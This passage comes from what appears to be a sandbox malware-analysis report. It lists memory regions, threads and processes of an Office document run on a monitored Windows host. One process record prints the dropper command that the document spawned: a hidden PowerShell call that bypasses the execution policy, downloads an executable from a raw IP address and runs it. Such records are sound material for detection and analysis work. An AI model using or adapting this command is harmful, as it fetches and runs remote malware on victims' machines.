private name = "private_0x00000000000f0000" filename = "" Region: id = 791 start_va = 0x660000 end_va = 0x7e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000660000" filename = "" Region: id = 792 start_va = 0x830000 end_va = 0x92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000830000" filename = "" Region: id = 793 start_va = 0xd00000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000d00000" filename = "" Region: id = 794 start_va = 0x930000 end_va = 0xbfefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 795 start_va = 0x100000 end_va = 0x100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 796 start_va = 0x110000 end_va = 0x116fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 797 start_va = 0x100000 end_va = 0x100fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 798 start_va = 0x110000 end_va = 0x116fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 799 start_va = 0x100000 end_va = 0x10dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 800 start_va = 0x6fff0000 end_va = 0x6fffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000006fff0000" filename = "" Region: id = 801 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 802 start_va = 0x100000 end_va = 0x100fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 803 start_va = 0x110000 end_va = 0x110fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 804 start_va = 0x73d60000 end_va = 0x73ddffff monitored = 0 entry_point = 0x73d737c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 805 start_va = 0x2100000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002100000" filename = "" Region: id = 806 start_va = 0xc50000 end_va = 0xc8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 807 start_va = 0x2110000 end_va = 0x214ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002110000" filename = "" Region: id = 808 start_va = 0x2270000 end_va = 0x22affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 809 start_va = 0x23d0000 end_va = 0x24cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 810 start_va = 0x25b0000 end_va = 0x26affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 811 start_va = 0x64780000 end_va = 0x647b9fff monitored = 0 entry_point = 0x647a7725 region_type = mapped_file name = "png32.flt" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\GRPHFLT\\PNG32.FLT" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\grphflt\\png32.flt") Region: id = 812 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 813 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 814 start_va = 0x646f0000 end_va = 0x64773fff monitored = 0 entry_point = 0x646f19a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 815 start_va = 0x707f0000 end_va = 0x7097ffff monitored = 0 entry_point = 0x7088d026 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll") Region: id = 816 start_va = 0x26b0000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 817 start_va = 0x120000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 818 start_va = 0x1e0000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 819 start_va = 0x300000 end_va = 0x30ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 820 start_va = 0x220000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fl99a3.tmp" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\OICE_16_974FA576_32C1D314_2296\\FL99A3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\oice_16_974fa576_32c1d314_2296\\fl99a3.tmp") Region: id = 821 start_va = 0x290000 end_va = 0x2cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000290000" filename = "" Region: id = 822 start_va = 0x2720000 end_va = 0x281ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002720000" filename = "" Region: id = 823 start_va = 0x28a0000 end_va = 0x28affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000028a0000" filename = "" Region: id = 824 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 825 start_va = 0x220000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fl99a3.tmp" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\OICE_16_974FA576_32C1D314_2296\\FL99A3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\oice_16_974fa576_32c1d314_2296\\fl99a3.tmp") Region: id = 826 start_va = 0x220000 end_va = 0x260fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "fl99a3.tmp" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\OICE_16_974FA576_32C1D314_2296\\FL99A3.tmp" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\oice_16_974fa576_32c1d314_2296\\fl99a3.tmp") Thread: id = 20 os_tid = 0xe64 Thread: id = 24 os_tid = 0xe7c Thread: id = 25 os_tid = 0xe80 Thread: id = 26 os_tid = 0xe84 Process: id = "4" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x344a3000" os_pid = "0xed0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xd40" cmd_line = "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -NoP -sta -NonI -W Hidden -ExecutionPolicy bypass -NoLogo -command \"(New-Object System.Net.WebClient).DownloadFile('httP://13.92.100.208/doc/doc.exe','C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe');Start-Process 'C:\\Users\\kEecfMwgj\\AppData\\Roaming\\doc.exe'\"" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e957" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 866 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 867 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 868 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 869 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 870 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 871 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 872 start_va = 0x190000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 873 start_va = 0xc40000 end_va = 0xcaafff monitored = 0 entry_point = 0xc4d330 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 874 start_va = 0x776e0000 end_va = 0x77888fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 875 start_va = 0x778c0000 end_va = 0x77a3ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 876 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 877 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 878 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 879 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 880 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 881 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 882 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 883 start_va = 0x260000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 884 start_va = 0x74b70000 end_va = 0x74b77fff monitored = 0 entry_point = 0x74b720f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 885 start_va = 0x74b80000 end_va = 0x74bdbfff monitored = 0 entry_point = 0x74bbf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 886 start_va = 0x74be0000 end_va = 0x74c1efff monitored = 0 entry_point = 0x74c0e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 887 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 888 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 889 start_va = 0x774c0000 end_va = 0x775defff monitored = 0 entry_point = 0x774d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 890 start_va = 0x774c0000 end_va = 0x775defff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000774c0000" filename = "" Region: id = 891 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 0 entry_point = 0x775fa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 892 start_va = 0x775e0000 end_va = 0x776d9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000775e0000" filename = "" Region: id = 893 start_va = 0x2e0000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 894 start_va = 0x772b0000 end_va = 0x773bffff monitored = 0 entry_point = 0x772c3283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 895 start_va = 0x773e0000 end_va = 0x77426fff monitored = 0 entry_point = 0x773e74c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 896 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 897 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 898 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 899 start_va = 0x20000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 900 start_va = 0xe0000 end_va = 0x146fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 901 start_va = 0x77180000 end_va = 0x7721ffff monitored = 0 entry_point = 0x771949e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 902 start_va = 0x76b90000 end_va = 0x76c3bfff monitored = 0 entry_point = 0x76b9a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 903 start_va = 0x77490000 end_va = 0x774a8fff monitored = 0 entry_point = 0x77494975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 904 start_va = 0x769e0000 end_va = 0x76acffff monitored = 0 entry_point = 0x769f0569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 905 start_va = 0x75410000 end_va = 0x7546ffff monitored = 0 entry_point = 0x7542a3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 906 start_va = 0x75400000 end_va = 0x7540bfff monitored = 0 entry_point = 0x754010e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 907 start_va = 0x752d0000 end_va = 0x752e3fff monitored = 0 entry_point = 0x752d1da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 908 start_va = 0x766d0000 end_va = 0x767cffff monitored = 0 entry_point = 0x766eb6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 909 start_va = 0x76270000 end_va = 0x762fffff monitored = 0 entry_point = 0x76286343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 910 start_va = 0x77890000 end_va = 0x77899fff monitored = 0 entry_point = 0x778936a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 911 start_va = 0x76300000 end_va = 0x7639cfff monitored = 0 entry_point = 0x76333fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 912 start_va = 0x763d0000 end_va = 0x7652bfff monitored = 0 entry_point = 0x7641ba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 913 start_va = 0x76ad0000 end_va = 0x76b5efff monitored = 0 entry_point = 0x76ad3fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 914 start_va = 0x67950000 end_va = 0x67999fff monitored = 1 entry_point = 0x67952e54 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 915 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 916 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 917 start_va = 0x470000 end_va = 0x5f7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000470000" filename = "" Region: id = 918 start_va = 0x70000 end_va = 0x8dfff monitored = 0 entry_point = 0x8158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 919 start_va = 0x77430000 end_va = 0x7748ffff monitored = 0 entry_point = 0x7744158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 920 start_va = 0x77050000 end_va = 0x7711bfff monitored = 0 entry_point = 0x7705168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 921 start_va = 0x600000 end_va = 0x780fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 922 start_va = 0xcb0000 end_va = 0x20affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000cb0000" filename = "" Region: id = 923 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 926 start_va = 0x70000 end_va = 0x70fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 927 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 928 start_va = 0x150000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 929 start_va = 0x180000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000180000" filename = "" Region: id = 931 start_va = 0x790000 end_va = 0x8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000790000" filename = "" Region: id = 932 start_va = 0x8c0000 end_va = 0xb8efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 933 start_va = 0x678c0000 end_va = 0x6794cfff monitored = 1 entry_point = 0x678d2860 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 934 start_va = 0x73430000 end_va = 0x73432fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 936 start_va = 0x76850000 end_va = 0x768a6fff monitored = 0 entry_point = 0x76869ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 937 start_va = 0x73e30000 end_va = 0x73e38fff monitored = 0 entry_point = 0x73e31220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 938 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 939 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 940 start_va = 0x65f40000 end_va = 0x666eefff monitored = 1 entry_point = 0x65f5d0d0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 941 start_va = 0x65ee0000 end_va = 0x65ef3fff monitored = 0 entry_point = 0x65eeac00 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\SysWOW64\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\syswow64\\vcruntime140_clr0400.dll") Region: id = 942 start_va = 0x65d50000 end_va = 0x65dfafff monitored = 0 entry_point = 0x65de5f20 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\SysWOW64\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\syswow64\\ucrtbase_clr0400.dll") Region: id = 943 start_va = 0x90000 end_va = 0x90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 944 start_va = 0x150000 end_va = 0x15ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 945 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 946 start_va = 0x170000 end_va = 0x17ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 947 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 948 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 949 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 950 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 951 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 952 start_va = 0x220000 end_va = 0x220fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 953 start_va = 0x20b0000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 954 start_va = 0x20b0000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020b0000" filename = "" Region: id = 955 start_va = 0x2280000 end_va = 0x22bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 956 start_va = 0xbc0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bc0000" filename = "" Region: id = 957 start_va = 0x20c0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 958 start_va = 0x21f0000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 959 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 960 start_va = 0x230000 end_va = 0x23ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 961 start_va = 0x22c0000 end_va = 0x42bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 962 start_va = 0x230000 end_va = 0x24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 963 start_va = 0x310000 end_va = 0x34ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 964 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 965 start_va = 0x2180000 end_va = 0x21bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 966 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 1000 start_va = 0x4310000 end_va = 0x434ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004310000" filename = "" Region: id = 1001 start_va = 0x43a0000 end_va = 0x43dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1002 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 1037 start_va = 0x647c0000 end_va = 0x65bcafff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll") Region: id = 1038 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1044 start_va = 0x43e0000 end_va = 0x451ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043e0000" filename = "" Region: id = 1045 start_va = 0x2e0000 end_va = 0x2effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 1475 start_va = 0x63d60000 end_va = 0x647b4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = 